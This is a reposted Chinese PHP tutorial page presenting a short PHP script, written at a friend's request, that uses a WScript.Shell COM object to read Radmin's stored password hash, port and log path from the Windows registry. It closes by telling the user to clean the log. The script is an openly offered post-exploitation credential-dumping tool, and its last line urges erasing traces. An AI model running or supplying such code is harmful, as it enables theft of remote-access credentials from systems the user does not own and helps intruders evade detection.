首頁 >後端開發 >php教程 >Radmin密码读取工具(php版)_PHP教程

Radmin密码读取工具(php版)_PHP教程

WBOY
WBOY原創
2016-07-13 17:34:341260瀏覽

孤水绕城’s Blog

应小猪大锅的要求写的一个脚本。很垃圾但是还算有用吧。

$shell = new COM("WScript.Shell") or die("This thing requires Windows Scripting Host");
$rootkey = "HKEY_LOCAL_MACHINE\SYSTEMRAdmin\v2.0\Server\Parameters\";
$Parameter = "Parameter";
$Port = "Port";
$logpath = "LogFilePath";
$myparam = $shell->RegRead($rootkey.$Parameter);
$myport = $shell->RegRead($rootkey.$Port);
$path = $shell->RegRead($rootkey.$logpath);
echo "radmin hash is:";
foreach($myparam as $a){
echo dechex($a);
}
echo "
";
echo "radmin port is :".hexdec(dechex($myport[1]).dechex($myport[0]))."
";
echo "radmin log path is:$path
";
echo "please clean the log"
?>

www.bkjia.comtruehttp://www.bkjia.com/PHPjc/508458.htmlTechArticle孤水绕城’s Blog 应小猪大锅的要求写的一个脚本。很垃圾但是还算有用吧。 ?php $shell = new COM("WScript.Shell") or die("This thing requires Windows Scri...
陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn